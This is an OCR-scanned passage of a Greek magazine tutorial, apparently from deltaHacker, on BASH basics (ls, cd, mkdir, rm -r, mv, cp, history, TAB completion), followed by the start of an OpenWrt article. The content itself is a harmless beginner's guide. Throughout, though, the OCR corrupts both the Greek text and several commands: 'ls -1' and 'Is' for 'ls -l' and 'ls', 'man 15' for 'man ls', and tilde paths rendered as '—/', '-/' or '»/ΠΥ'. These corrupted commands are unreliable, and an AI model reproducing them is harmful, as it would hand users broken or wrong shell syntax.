σε Χόλες3 τις διανομὲς Linux, βρίσκεται κρυμμένο ora Android και iOS 
devices, ενώ µας κλείνει το μάτι κι όταν παἰζουμε µε τα BSDs! 


Ὅπως πάντα, θα ακολουθήσουμε µια οµαλἠ πορεἰα εκμάθησης και θα 
φροντίσουμε να ξεκινήσουμε τη γνωριμία µε το BASH anó τα απολύτως 
βασικά. Άλλωστε, στὀχος µας δεν εἶναι μόνο να βοηθήσουμε τους «φτα- 
σμένους» χρήστες, αλλά και va ενθαρρύνουμε --και κατὰ βάθος να nw- 
ρώσουμε-- τους νεοφερμένους. Σ΄ auró ro άρθρο θα θεωρήσουμε ὁτι o 
αναγνώστης βρίσκεται για πρὠτη φορὰ μπροστὰ σε µια γραμμή evroAov. 
Στο επὀµενο, nou αρχίζει απὀ τη σελίδα 52 του τεύχους που κρατάτε στα 
χέρια σας, θα εξετάσουμε nio ψαγμένα προγραμματάκια και λειτουργίες 
του BASH. Στα δύο ακόλουθα ἆρθρα --η σειρἀ αποτελεἰται απὀ τέσσερα 
µέρη-- συναντάμε ro βαρύ πυροβολικό: Τη διασωλήνωση, την avaka- 
τεύθυνση και το scripitng! Πάντως, οι παλιότεροι δεν πρέπει va ξεγελα- 
στούν: Το περιεχόμενο aurov των άρθρων απευθύνεται σε αρχάριους 
αλλά εἶναι πιθανὀ να διορθώσει και πολλὲς λανθασμένες αντιλήψεις, οι 
οποίες ριζώνουν απὀ την πολλή ενασχόληση µε τα Windows ;) 


Πού βρίσκομαι; Πώς θα μετακινηθώ; 


Κάθε φορά nou συνδεόμαστε σε ἑνα σύστημα Linux, εἰτε τοπικἁ EITE 
απομακρυσμένα (n.x., μέσω SSH), τοποθετούμαστε σε évav κατάλογο 
που ονομάζεται home directory. Πρόκειται yia τον κατάλογο που περιέχει 
όλους τους καταλόγους kai τα αρχεία που ανήκουν στο λογαριασμὸ µας. 
Ένας τέτοιος κατάλογος υπάρχει για κάθε χρήστη του συστήµατος και 
συνήθως ro ὀνομά του ταυτίζεται µε το username του αντίστοιχου user 
account. Έτσι, yia ἐναν λογαριασμὸ µε username το pvar, η πλήρης δια- 
δροµήἠ (full path) yia το αντίστοιχο home directory εἶναι η /home/pvar. Μ΄’ 
ἄλλα λόγια, όταν θα συνδεθούμε στο λογαριασμό rou pvar, θα βρεθούμε 
αυτόματα στον κατάλογο /home/pvar. 


Ἕνα απὀ τα πρὠτα ερωτήματα που προκύπτουν, αφού μάθουμε το πού 
βρισκόμαστε, αφορά στο nog θα μετακινηθούμε. (Σ.τ.Ε. Εἶναι πάλι και 
κάτι τύποι που θέλουν να μετακινούνται διαρκώς, χωρίς να τους πολυ- 
νοιάζει το noU βρίσκονται.) Όπως, πριν ακόµη κι απ΄ auró το ερώτημα, 
προκύπτει ἑνα ἄλλο: Τι υπάρχει τριγύρω; Πα να δούμε τα αρχεἰὶα και τους 
καταλόγους που μάς «περιβάλλουν» προσφέρεται το προγραμματάκι Is. 
Για παράδειγµα, για να εµφανίσουμµε µια λίστα µε τα αρχεία και τους κα- 
ταλόγους που βρίσκονται στην τρέχουσα θέση µας, αρκεἰ va εκτελέσουµε 
το εξής: 

ls -1 


Το προγραμματάκι Is δέχεται πάρα πολλές παραμέτρους και 
θα ἦταν àokono να τις παραθέσουµε ὀλες. Θα σας πούμε 
μόνο ὁτι εμεὶς συνηθἱζουμε va το χρησιμοποιούμε συνδυ- 
ἀζοντας την παράμετρο -I (anó το list) µε την παράμετρο 
-h (απὀ το human) αλλά και την παράμετρο -a (anò το all). 
H δεύτερη παράμετρος εξασφαλίζει ὁτι τα μεγέθη των 
αρχείων θα εμφανίζονται σε KB, MB, GB ἡ σε οτιδήποτε 
ἄλλο βολεύει κάθε φορά. To yiari δεν συμβαίνει εξ ορισμού 
κάτι τέτοιο θα φανεἰ αργότερα, ὀταν θα μιλήσουμε για το 
scripting. H τρίτη παράμετρος φροντίζει να εμφανιστούν 
όλα ra αρχεία ανεξαιρέτως -- ακόµη και τα κρυφὰ. Πα την 
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ώρα, κρατεἰστε µόνο ὁτι ἑνας βολικὸς τρόπος χρήσης rou Is ἐχει ως εξἠς: 
ls -lha 


Παρατηρεἰστε ÒTI οι τρεις παράμετροι κατὰ κάποιον τρόπο συμπυκνώθη- 
καν και δεν βάλαμε τρεις παύλες. Αν θελήσει κανεὶς να πληροφορηθεί για 
τις υπόλοιπες παραμέτρους rou Is, µπορεί να χρησιμοποιήσει το σύστημα 
βοήθειας της γραμμἠς εντολών. Αυτὀ γίνεται µε το πρὀγραμμα man (anó 
το manual). Προκειμένου να εμφανιστεί το κείµενο βοήθειας rou Is, αρκεἰ 
να πληκτρολογήσουμε 


man 15 


Πριν επιστρέψουµε στο θέμα των καταλὀγων και της πλοήγησης, σηµει- 
QOTE ὁτι TO man µπορεί να εμφανίσει το κείμενο βοήθειας που συνοδεύει 
κάθε πρὀγραμμα της γραμμής εντολών. Το μόνο που ἐχουμε να κάνουμε 
εἶναι va το τρέξουμε, δίνοντας σαν παράμετρο το ὀνομα του εκάστοτε 
προγράμματος. 


Τώρα nou ξἐρουμετι µας περιβάλλει, εἰναι βέβαιο ὁτι η περιἐργειά µας θα 
εξαπλωθεί: Τι υπάρχει στους ἄλλους καταλόγους; Πα τη μετακίνηση anó 
κατάλογο σε κατάλογο προσφέρεται το προγραμματάκι cd. Η λειτουργἰα 
του εἶναι παρόμοια µε εκείνη της εντολἠς cd, που διαθέτει η γραμμή εντο- 
λὼὠν των Windows. Έτσι, αν βρισκόμαστε στον κατάλογο /home/pvar, για 
va μεταφερθούμε «ἐναν κατάλογο πιο πάνω» (δηλαδὴ στον /home) και 
να δούμε αν υπάρχουν ἄλλα home directories, αρκεί να εκτελἐσουµε ¿va 
anó τα ακὀλουθα: 


cd /home 


cd .. 


H διπλἠ τελεία συμβολίζει τον λεγόμενο γονικὀ κατάλογο (parent 
directory). Δηλαδή τον κατάλογο, µέσα στον οποίο βρίσκεται o kardAo- 
γος, μέσα στον οποίο βρισκόμαστε ;) Ας υποθέσουμε τώρα ότι εκτελούµε 
ἑνα Is -Iha και βλέπουμε τον κατάλογο cvar. Πα να μπούμε σε αυτόν pno- 
ρούμε va εκτελέσουµε *éva* απὀ τα ακόλουθα: 


cd cvar 


cd /home/cvar 


Στην πρώτη περίπτωση δίνουμε σαν παράμετρο rov κατάλογο στον οποίο 
θέλουμε να πάμε, εφόσον αυτὸς βρίσκεται στην ἰδια θέση µε εμάς. Η 
δεύτερη περίπτωση εἶναι πιο γενική. Σε αυτήν δώσαμε την πλήρη õi- 
αδρομἠ (το πλήρες path) ως τον κατάλογο cvar. Αναρωτιέστε ποια 
εἶναι η διαφορά; Το πρώτο δουλεύει μόνον ὁταν βρισκόμαστε στον 
κατάλογο home, ο οποίος φυσικἁ περιέχει τον κατάλογο cvar. 
(Ακριβέστερα, δουλεύει ὁταν εἶμαστε σε ἑναν κατάλογο 
ο οποίος περιέχει £vav ἄλλον, µε το ὀνομα «cvar».) To 
δεύτερο δουλεύει πάντα και παντού. Εφόσον δίνουμε το 
πλήρες path, το πρόγραµµα cd θα ξέρει ακριβώς πού θὲ- 
λουµε να πάμε. (Μόνη περίπτωση να µη δουλέψει το «cd 
/home/cvar», εἶναι όταν ἑνας απὀ τους καταλόγους 
/home και /home/cvar δεν υπάρχει.) Αφού περιπλανη- 
θούμε λίγο στους καταλόγους του συστήματος, εἶναι oi- 
γουρο ὁτι κἀποια στιγµή θα θελήσουμε να γυρίσουμε στον 
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δικό µας. Πα το σκοπὀ αυτό αρκεἰ να δώσουμε *£éva* απὸ τα ακόλουθα: 


cd 


cd ~ 


H εκτέλεση rou προγράµµατος cd χωρίς kapia παράμετρο ἐχει σαν ou- 
νέπεια την ἅμεση μεταφορὰ µας στο home directory. Όμως στη δεύτερη 
περίπτωση, θα σπεύσει να παρατηρήσει κάποιος, παράμετρος υπάρχει. 
Πράγματι, μόνο που ο χαρακτήρας ~ (tilde) αποτελεἰ κατὰ κάποιον τρὀ- 
no uia μεταβλητή του BASH. Σ΄’ αυτή τη μεταβλητή αποθηκεύεται πάντα 
το πλήρες path rou προσωπικού καταλόγου του εκάστοτε χρήστη. Έτσι, 
όταν εκτελεἰὶ το «cd ~» ο χρήστης pvar, το BASH αντικαθιστἁ αυτόματα 
τον χαρακτήρα ~ µε το «/home/pvar». Πα va φανεὶ καλύτερα η αξία au- 
TOU του χαρακτήρα, υποθέστε Ori βρισκόμαστε στον κατάλογο /home/ 
pvar/projects/deltacast/video/intro και θέλουμε va μεταβούμε στον 
/home/pvar/projects/. O ταχύτερος τρόπος για να πετύχουμε κάτι τέτοιο 
εἶναι να δώσουμε: 


cd ~/projects 


Ένα ακόµα κολπὰκι µε ro cd σχετίζεται µε το χαρακτήρα - (dash, παύλα). 
Ας υποθέσουμε Ort! µας πιάνει µια μανία να περιπλανηθούµε στους kara- 
λόγους του συστήματος κι εκτελούµε διαδοχικἁ τα παρακάτω: 


cd /usr 
cd share 
cd man 
cd mani 
cd 


Με τα παραπάνω θα οδηγηθούµε αρχικἁ στον κατάλογο /usr. Μετά θα 
μπούμε στον υποκατάλογο share, ακολούθως στον man και στη συνέχεια 
στον mand. Παρεμπιπτόντως, εδὠ βρἰσκονται οι οδηγἰες χρήσης rou εκἀά- 
στοτε προγράμματος, τις οποίες εμφανίζει το προγραμματάκι man. Τελι- 
κά, µετην εκτέλεση της τελευταίου cd, καταλήγουμε στο home directory. 
Ας υποθέσουμε τώρα ὀτι μάς έπιασε η αναποδιἀ και θέλουμε να ξαναπά- 
µε στον κατάλογο mani. H πλήρης διαδροµἠ του εἶναι /usr/share/man/ 
mani. Αν βαριόµαστε να γράψουμε ὁλο αυτό, μπορούμε να γράψουμε 
κάτι πολύ πιο σύντομο: 


cd - 


H παύλα συμβολίζει τον προηγούμενο κατάλογο στον οποίο εἶχαμε βρε- 
θεῖ! Έτσι, μπορούμε va επιστρέψουµε στη θέση /usr/share/man/man1 
ταχύτατα. Τώρα, av ξανατρέξουµε ro cd µε παράμετρο τον χαρακτήρα 
dash, θα μεταφερθούμε στον προηγούμενο κατάλογο ὁπου εἰχαμε βρε- 
θεἰ: στο home directory. Μπορεί η μετακίνηση στον προσωπικό κατάλογο 
να πραγµατοποιεἰται οὐτως ἡ ἄλλως εὑκολα, αλλά η αξία της παραμέτρου 
dash παραμένει μεγάλη. Με τη βοήθειά της μπορούμε va μετακινούμαστε 
με άνεση μεταξύ δύο «δυσπρὀσιτων» (µε μεγάλα full paths) καταλόγων. 


Αν τώρα µε ὁλα αυτά τα πἠγαινε-ἐλα χαθούμε, υπάρχει ἑνα προγραµµα- 
τάκι που θα pag nei αμέσως τη θέση μας. Πρόκειται για το pwd, που όταν 
TO εκτελούμε εμφανίζει την πλήρη διαδρομή (full path) του καταλόγου 
στον οποίο βρισκόμαστε. 
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Πού χάθηκαν oi κατατμήσεις; 


Στα Windows, οι δίσκοι και οι κατατμήσεις προσδιορἰζονται µε ἑνα 
αναγνωριστικὀ γράμμα που συνοδεύεται anó τον χαρακτήρα της 
ἀνω-κάτω τελείας. Έτσι, πολύ συχνά κάνουμε λόγο για το δίσκο C:, 
για το δίσκο D: και πάει λέγοντας. Εδὠ πρέπει va υπογραμμίσουμε 
δύο λεπτομέρειες: a) παρἀ το γεγονὸς ó,ri γίνεται λόγος για «δ|- 
σκους», στην πραγματικότητα τα γράμματα αντιστοιχούν σε κατα- 
τμήσεις, B) η αντιστοίχηση των γραμμάτων στις κατατμήσεις γίνεται 
µε µια oxerikà περίπλοκη λογικὴ”! Αν μπερδευτήκατε, το μόνο oiyou- 
po εἶναι ὁτι δεν φταῖτε εσείς. 


Στο Linux ακολουθείται µια εντελὼς διαφορετικἠ προσέγγιση, ava- 
φορικἁ µε την πρόσβαση στις κατατμήσεις των σκληρών δίσκων. Κατ’ 
αρχάς, για v' αποκτήσουμε πρὀσβαση σε µια κατάτμηση πρέπει npo- 
τα να κάνουμε τη λεγόμενη προσάρτηση (mount). Με απλά λόγια, 
πρέπει να αντιστοιχίσουµε στην κατάτμηση κάποιον κατάλογο. Μετά 
απ’ αυτή τη «σύνδεση» καταλὀγου και κατάτµησης, τα περιεχόμενα 
της κατάτµησης θα εμφανίζονται σαν περιεχόμενα του καταλόγου! 
Ἔτσι, για να δούμε τα αρχεία της κατάτµησης αρκεί να μπούμε στον 
κατάλογο, στον οποίο ἐγινε η προσάρτηση. H παράδοση θέλει όλα τα 
συστήματα Unix να διαθέτουν τον κατάλογο /mnt. Αυτός προορίζε- 
ται για τη δηµιουργία ἄλλων καταλόγων στο εσωτερικὀ του, στους 
οποίους θα προσαρτηθούν αργότερα οι κατατμήσεις των δίσκων µας. 
Παρόμοια αποστολἠ ἐχει κι ο κατάλογος /media, στις σύγχρονες δια- 
νομὲς Linux που προορίζονται για χρήση desktop. Μέσα στον συγκε- 
κριμένο κατάλογο δημιουργούνται ἄλλοι, στους οποίους προσαρτώ- 
νται αυτόματα τα δισκάκια CD/DVD, τα USB sticks και πάει λέγοντας. 
H διαδικασία της προσάρτησης θα µας απασχολἠήσει σε επόμενο àp- 
θρο της σειράς. 


Διαχείριση καταλόγων 


Topa που μάθαμε va τριγυρνάμε µε άνεση στους καταλόγους του συστἠ- 
ματος, μπορούμε να δούμε το πὠς δημιουργούνται και διαγράφονται. Πα 
τη δημιουργἰα διατίθεται το εργαλείο mkdir, ενώ για τη διαγραφἠ npo- 
σφέἑρονται τα rmdir (remove directory) και rm (remove). H μόνη παράμε- 
τρος που απαιτούν ra πρώτα δύο εἶναι το ὀνομα ἡ η πλήρης διαδρομή του 
καταλόγου. Πα παράδειγµα αν δώσουμε αυτό: 


mkdir /home/pvar/documents 


Το σύστημα θα δημιουργήσει τον κατάλογο documents, μέσα στον npo- 
σωπικὀ µας κατάλογο (/home/pvar). Βέβαια, av βρισκὀµασταν ἠδη εντὸς 
του προσωπικού µας καταλόγου, θα μπορούσαμε να εἰχαμε δώσει και TO 
εξής: 

mkdir documents 


To rmdir χρησιµοποιείται µε τον ἰδιο ακριβώς τρόπο. Ωστόσο, για va δι- 
αγραφεί ἑνας κατάλογος µε το rmdir θα πρέπει να εἶναι άδειος. AUTÒ 
συνεπάγεται ὁτι η χρήση του rmdir εἶναι μᾶλλον ακἰνδυνη: Εἶναι αδύνατο 
να χάσουμε δεδομένα, διαγράφοντας κατὰ λάθος évav κατάλογο µε το 
rmdir. Δυστυχώς, αυτή n δικλείδα δεν υφίσταται στην περίπτωση rou rm. 
3. Η πρώτη κατάτμηση του πρώτου δίσκου Παίρνει το γράμμα C, η πρώτη κατάτμηση του δεύτερου δίσκου 


παίρνει το D και πάει λέγοντας. Μετά ακολουθούν οι υπόλοιπες κατατμήσεις του πρώτου δίσκου, στη συνέχεια οι 
υπόλοιπες κατατμήσεις του δεύτερου K.O.K. 
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To συγκεκριμένο πρὀγραμμα προορἱζεται για τη διαγραφἠ αρχείων, αλλά 
µε χρήση της παραμέτρου -r (recursively) µπορεί να διαγράψει και Ka- 
ταλόγους. H συγκεκριμένη παράμετρος ἐχει σαν συνέπεια τη διαγραφἠ 
όλων των αρχείων, όλων των υποκαταλὀγων, όλων των αρχείων των UNO- 
καταλόγων, όλων των υποκαταλόγων των υποκαταλόγων και πάει λἐγο- 
ντας. Με àiya λόγια, όταν εκτελούμε το rm µε την παράμετρο -r και στη 
συνέχεια ἑναν κατάλογο, εἶναι σίγουρο ὁτι θα διαγραφεί πλήρως’. Όπως 
αντιλαμβάνεστε, ro rm απαιτεί τεράστια προσοχή! Ας εξετάσουμε όμως 
και ἕνα μικρὸ σενάριο: Ας υποθέσουμε ὁτι ἐχουμε δημιουργήσει αρκετούς 
καταλόγους, εκτελώντας τα ακόλουθα: 


mkdir /home/pvar/docs 

mkdir /home/pvar/music 

mkdir /home/pvar/video 

mkdir /home/pvar/projects 

mkdir /home/pvar/projects/deltacast/video 
mkdir /home/pvar/projects/deltacast/music 


Ας υποθέσουμε επἰσης ὁτι βρισκόμαστε στο home directory και αποφασἰ- 
ζουμε να ofricouus τον κατάλογο /home/pvar/video. Για το σκοπὀ αυτό 
θα μπορούσαμε va εκτελέσουµε το εξής: 


rm -r video 
-Ὠλλὰ και αυτό: 
rm -r /home/pvar/video 


Εφόσον βρισκόμαστε ἠδη oro /home/pvar, η εκτέλεση καθενὸς anó τα 
παραπάνω θα εἰχε το ἰδιο ακριβώς αποτέλεσμα: Τη διαγραφή rou KaTa- 
λόγου video, ο οποίος βρίσκεται στον προσωπικὀ µας κατάλογο. Τι θα 
συνέβαινε όμως, αν βρισκόµασταν στον κατάλογο /home/pvar/projects/ 
deltacast; Σε αυτή την περίπτωση, η εκτέλεση του rm µε τον πρώτο 
τρόπο θα αποτελούσε rpayikó σφάλμα: Θα διαγραφόταν ο κατάλογος / 
home/pvar/projects/deltacast/video! Μια καλὴ συνήθεια λοιπὸν, η οποία 
μπορεί να µας σώσει απὀ δυσάρεστες εκπλήξεις, εἶναι να χρησιμοποιούμε 
πάντα την πλήρη διαδρομή του εκάστοτε καταλόγου. Κι αν ὀχι πάντα 
(εἱμαστε και λίγο τεμπέληδες, nog va ro κάνουμε) τουλάχιστον οποτεδή- 
ποτε πρὀκειται για διαγραφή. 


Σημεία για προσοχἠ 


Και κάπου εδώ πρέπει αναφέρουμε ορισμένες λεπτομέρειες. Κατ΄ αρχάς, 
TO κέλυφος BASH εἶναι auró nou λέμε case sensitive. Με απλά λόγια, 
κάνει διάκριση μεταξύ πεζὠν και κεφαλαίων. Επομένως, το BASH δεν θα 
παραπονεθεἰ καθόλου αν δημιουργήσουμε τον κατάλογο documents και 
στη συνέχεια τον κατάλογο Documents, στην ἰδια θέση! Παρ’ όλο που 
τα ονόματα των δύο καταλόγων εἶναι πρακτικἀ ἴδια, το κέλυφος θα τους 
διακρίνει anó το αρχικὀ γράμμα, που στη uia περίπτωση εἶναι neò και 
στην ἄλλη κεφαλαῖο. Αυτή η διάκριση μπορεί να προκαλέσει anó µια απλἠ 
σύγχυση ἑως ἑναν μεγάλο πονοκέφαλο! Επομένως, ὁταν θέλουμε va pE- 
ταφερθούμε σε κάποιον κατάλογο (ἡ ακόµα χειρότερα va rov διαγράψου- 
με), πρέπει να πληκτρολογούμε το ὀνομὰ του µε μεγάλη προσοχή. 


4. Μετην προὐπόθεση βέβαια ὁτι έχουμε όλα τα απαιτούμενα δικαιώµατα πρόσβασης, αλλά αυτά θα τα 
εξετάσουμε αργότερα. 
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Mia ακόµα λεπτομέρεια αφορά στο γεγονὸς ὁτι TO cd αποτελεἰ πρὀγραμμα 
κι ὀχι κάποια εντολἠἡ, φορτωμένη στη μνήμη του συστήματος. Ακριβώς 
γι’ αυτό, αν avri rou cd /home δίναμε cd/home (χωρίς το κενό, δηλαδή) 
το κέλυφος θα μὰς ἐλεγε ὁτι δεν υπάρχει τέτοιο πρὀγραμμα! Αυτὸ το 
ξεκαθαρίζουµε για va µη θορυβηθούν ὁσοι ἐρχονται anó τη γραμμή εντο- 
λών των Windows. Σ’ εκεἰνο το περιβάλλον, eire βάζαμε κενὀ μεταξὺ rou 
cd και του καταλὀγου eire ὀχι, η μετακἰνησήἠ µας θα γινόταν κανονικἀ. 


Περισσότερα βασικἀ προγράμματα 


Μέχρι στιγμής αναφερθἠκαµε στην πλοήγηση και στη βασικἠ διαχείριση 
των καταλόγων, αλλά δεν εἰπαμε τίποτα για τα απλά αρχεία. Προφανώς, 
το τι μπορούμε να κάνουμε µε ¿va αρχείο εξαρτάται anó το περιεχὀμενό 
του. Στη συνέχεια λοιπὸν θα αναφέρουμε µόνο τα απολύτως βασικά για 
το χειρισμὸ τους. Ας υποθέσουμε ὁτι υπάρχει το αρχείο my. notes.txt στο 
home directory του λογαριασμού µας κι ὁτι θέλουμε va το μεταφέρουμε 
στον κατάλογο /home/pvar/documents. Κάτι τέτοιο επιτυγχάνεται µε τη 
βοήθεια του προγράμματος mv: 


mv /home/pvar/my notes.txt /home/pvar/documents 


Με την ευκαιρία, πριν πούμε οτιδήποτε ἆλλο για ro mv αξίζει να δούμε 
πόσο απλούστερα θα μπορούσε να γραφτεὶ το παραπάνω: 


mv —/my notes.txt -/documents/ 


Νομίζουμε ὁτι η αξία του χαρακτήρα ~ ἐχει αρχίσει va φαίνεται. Για va 
επιστρέψουµε στο θέμα µας, ro πρὀγραμμα mv δέχεται δύο παραμέ- 
τρους: H πρώτη αφορά στο αρχεἰο που θέλουμε va μετακινήσουμε, ενὼ 
η δεύτερη περιγράφει τον προορισμὀ. Σημειώστε Ori η λειτουργία του mv 
δεν περιορίζεται μόνο στα αρχεία αλλά καλύπτει και τους καταλόγους. 
Με ἀλλα λόγια, µε τη βοήθεια του mv μπορούμε να μετακινήσουμε κι 
ολόκληρους καταλόγους, pai µε τα περιεχὀμενά τους. Me την ἴδια ακρι- 
Bosc λογική χρησιμοποιείται και το πρὀγραμμα cp, το οποίο πραγµατοποιεἰ 
αντιγραφές. Έτσι, αν µας ενδιέφερε va αντιγράψουµε το προαναφερθὲν 
αρχείο κι ὀχι να το μετακινήσουμε, θα δίναμε κάτι τέτοιο: 


cp »/ΠΥ notes.txt -/documents/ 


Αξίζει ν’ αναφέρουμε εδὠ vav ακόµα χαρακτήρα, o οποίος αποκτά ιδι- 
αἰτερο νόημα στη γραμμὴ εντολών. Πρόκειται για την τελεία. Όπως ava- 
pape νωρίτερα, οι δύο τελείες αναφέρονται στο γονικὀ κατάλογο. E 
λοιπὸν, η uia τελεία αναφἑρεται στον κατάλογο στον οποίο βρισκόμαστε. 
Αναρωτιέστε nog μπορεὶ va pavei χρήσιμο κάτι τέτοιο; Ας υποθέσου- 
µε ὁτι βρισκόμαστε στον κατάλογο /home/pvar/documents/deltahacker/ 
issue16 και θέλουμε να μεταφέρουμε εδὠ το αρχείο /home/pvar/delta - 
notes.txt. Av αγνοούσαμε την ιδιαίτερη ερμηνεία που επιδἐχεται ο xapa- 
κτήρας της τελείας, θα έπρεπε να δώσουμε κἀτι τέτοιο: 


cp »/ΠΥ notes.txt -/documents/deltahacker/issue16/ 
Με τη βοήθεια της τελείας, όμως, το παραπάνω απλοποιείται ως εξἠς: 
cp »/ΠΥ notes.txt . 


Δεν μπορείτε va neite: H γραμμὴ £vroAov rou Linux φροντίζει va µην 
κουραζὀµαστε ;) 


Πριν ολοκληρώσουμε την αναφορά µας στα βασικἀ προγράµµατα για TO 
χειρισμό των αρχείων, αξίζει να υπενθυμίσουμε ἑνα πρὀγραμμα που ou- 
ναντήσαμε και νωρίτερα. Πρόκειται για το rm, το οποίο πραγματοποιεί 
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διαγραφές. Νομίζουμε Or! ο τρόπος χρήσης rou ἐχει γίνει rjón σαφἠς. Πα 
va διαγράψουμε το αρχείο my. notes.txt, θα αρκούσε να δώσουμε κάτι 
τέτοιο: 


rm -/home/pvar/my notes.txt 


Παρατηρεἰστε ὁτι πριν απὸ ro ὀνομα του αρχείου σημειώσαμε και τον 
κατάλογο στον onoio βρίσκεται. Αυτὀ το κάναμε yia va βεβαιωθούμε ὁτι 
θα διαγραφεὶ το συγκεκριµένο αρχείο κι ὀχι κἄποιο συνὠνυμὸ του, που 
τυχαίνει να βρίσκεται στην τρέχουσα θέση µας. Όπως εἶπαμε και vopi- 
τερα, η γραμμὴ εντολῶν απαιτεἰ πάντα μεγάλη προσοχἠ. Δεν πρέπει να 
αφήνουμε τίποτα στην τύχη! 


Βαριέστε (κι εσείς) την πληκτρολὀγηση; 


Αν vai, εἰμαστε υποχρεωμένοι να σας πούμε ὁτι δεν κάνετε καλά. Ωστό- 
σο, για να εἱμαστε ειλικρινείς, πρέπει να οµολογήσουμε ὁτι πολύ συχνὰ 
κουραζόμαστε ἡ Bapiópaore κι εμεὶς. Ευτυχώς, το BASH διαθέτει ορισμέ- 
νους μηχανισμούς που κάνουν τη ζωὴ στη γραμμὴ εντολών ξεκούραστη. 
Ας τους ρἰξουμε µια ματιὰ. 


e Ἱστορικό (history). Κάθε φορά nou εκτελούμε ἑνα πρόγραμμα 
στη γραµµή εντολὠν, όλα ὁσα πληκτρολογήσαμε καταγράφονται 
σ’ ἑνα ειδικὀ αρχείο του συστήματος. Ἔτσι, αν θελήσουμµε να ena- 
ναλάβουμε την εκτέλεση της προηγούμενης «εντολἠς» µας, apkei 
να πατήσουμε το πάνω βελάκι του πληκτρολογίου. Το BASH θα 
ανακαλέσει ὁσα εἶχαμε γράψει την αµέσως προηγούμενη φορὰ κι 
εμεὶς θα αρκεί να δώσουμε ἑνα [ENTER]. Av avri του [ENTER] na- 
τήσουµε nàÀi το πάνω βελάκι, το κέλυφος θα εμφανίσει την npo- 
προηγούμενη «εντολή» και πάει λέγοντας. Γενικότερα, χρησιμο- 
ποιώντας το πάνω και το κάτω βελάκι μπορούμε va ανατρέχουμε 
ταχύτατα σε ολὀκληρο το ιστορικὀ, όλων ὁσων ἐχουμε εκτελέσει 
κατά καιρούς. Μόλις βρούμε αυτὸ που θέλουμε va εκτελέσουμµε, 
αρκεἰ να πατήσουµε το [ENTER]. Εναλλακτικά, av η ιδέα του να 
«ξεφυλλίσουμε» ολόκληρο το ιστορικὀ φαντάζει κουραστικἠ κι 
εκνευριστικἠ, μπορούμε va πραγµατοποιήσουµε µια αναζήτηση! 
Για να πετύχουμε KATI τέτοιο αρκεἰ να πατήσουμε ro συνδυασμὀ 
πλήκτρων [CTRL+R] και να πληκτρολογήσουμε va μέρος της 
«εντολής» που αναζητάμε. Το BASH θα εμφανίσει την πιο πρὀσφα- 
τη γραμμὴ nou εκτελέσαμε, η οποία περιείχε αυτό που ψάχνουμε. 
Αν το αποτέλεσµα της αναζήτησης δεν εἶναι το επιθυμητό, μπορού- 
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µε va την επαναλάβουµε πατώντας ξανά το συνδυασμό [CTLR+R]. 
Έτσι θα εμφανιστεί η αµέσως παλιότερη εντολή που εἶχαμε EKTE- 
λὲσει και περιείχε AUTÒ που ψάχνουμε. 


e Αυτόματη συμπλήρωση (TAB completion). Στην περίπτωση 
που δεν θυμόμαστε ολόκληρο το ὀνομα ενὸς αρχείου ἡ καταλόγου 
(όπως επἰσης κι órav το θυμόμαστε αλλά βαριόμαστε va ro πλη- 
κτρολογήσουμε), αρκεἰ va πληκτρολογήσουμε ra πρὠτα γράμματα 
του ονόματος και να πατήσουµε το πλήκτρο [TAB]. Κάνοντας κάτι 
τέτοιο TO BASH πραγματοποιεί µια αναζήτηση στα αρχεἰα και στους 
καταλόγους µε βάση ὁσα έχουμε πληκτρολογήσει κι εφόσον βρει 
κάποιο αρχείο ἡ κατάλογο που ταιριάζει, συμπληρώνει το ὀνομά 
του αυτόματα! Έτσι, αν έχουμε στον προσωπικὀ µας κατάλογο va 
αρχείο µε το ὀνομα «the file with the disturbingly long name» και 
θέλουμε va ro διαγράψουμε, αρκεἰ να γράψουμε «rm «/the» και να 
πατήσουμε ro [TAB]. Με auróv τον τρόπο το μακροσκελὲς ὀνομα 
του αρχείου θα συμπληρωθεί αυτόματα κι εμείς θα αρκεὶ va w- 
coupe éva [ENTER]. 


Πριν σας αφήσουμε va πειραµατιστεἰτε kai va εξοικειωθεῖτε µε ὁσα εἶδα- 
με, θα σας πούμε κάτι ακόµα: Πα va καθαρἰσετε την οθόνη αρκεἰ να EKTE- 
λέσετε το πρόγραμμα clear ἡ, πολύ nio απλά, va πατήσετε το συνδυασμὀ 
πλήκτρων [CTRL+L]. Παίξτε, ρἰξτε µια ματιά τριγύρω και µετά γυρίστε 
στη σελἰδα 52 του τεύχους που κρατάτε στα χέρια σας. 
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LLLA 


H ώρα TOU 


OpenWrt 


Θυμόσαστε πὀσο εἶχαμε ασχοληθεῖ µε ro 
dd-wrt, στα τεύχη 011 και 012; Εἶχαμε 
καλούς λόγους για να περάσουμε στον 
router µας εναλλακτικὀ firmware -- και 

σας τους εἶχαμε παρουσιάσει. Πλέον, 
ἔφτασε η opa va στραφούμε *kai* στο 
OpenWRT. Βλέπετε, µετά απὸ αρκετὀ 
καιρὸ ro dd-wrt άρχισε va μοιάζει αρκετά 
περιοριστικὀ yia ra σχἑἐδιά µας. Aurr τη 
φορὰ, λοιπὀν, αποφασίσαμε να βάλουμε 
φωτιά στον router µας! Απαραΐτητο 
βήμα προς αυτήν την κατεύθυνση, εἶναι 
να δημιουργήσουμε τις προὐποθέσεις 
για να μπορούμε να TOU εγκαθιστούμε 
οποιαδήποτε υπηρεσία... 


m 


Καιρός va δοκι- 
µάσουμµε και TO 
OpenWRT. Σε npo- 
ηγούμενα άρθρα 
εἰχαμε κάνει μόνο 
απλὲς αναφορὲς 
και, φυσικά, αυτό 
οφείλαμε va ena- 
νορθώσουμε. Αφή- 
στε που έχουµε και 
πολύ συγκεκριμὲ- 
νους λόγους, που 
τώρα αποφασίσαμε 
να στραφούμε 

στο OpenWRT. Θα 
φανούν στο ἀρθρο 
που ξεκινά απὀ 

τη σελίδα 66 του 
παρόντος. 
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OpenWnt 


Wireless Freedom 


To Linux εἶναι παντού -- αλλά auró θα ἐχετε βαρεθεἰ va το ακούτε. 
Στο σχετικὀ άρθρο rou deltaHacker 011 εἶχαμε δει noc μπορούμε 
να εγκαταστήσουμε ro dd-wrt στον δικὀ µας router. Πα όσους δεν 
θυμούνται, το dd-wrt αποτελεἰ µια after market λύση σε firmware κι 
απευθύνεται σε ὁσους ζητούν κάτι παραπάνω απὀ τις συσκευές τους. 
Αναφερθήκαµε επἰσης σε εναλλακτικὲς λύσεις ὁπως το OpenWRT, αλλά 
αποφασίσαμε τότε να περιοριστούµε στην αρχικἠ µας επιλογή. Εἱμαστε 
ανήσυχα πνεύματα, ὁμως! Αυτὀ νομἰζουμε ὁτι δεν κρύβεται. Επομένως 
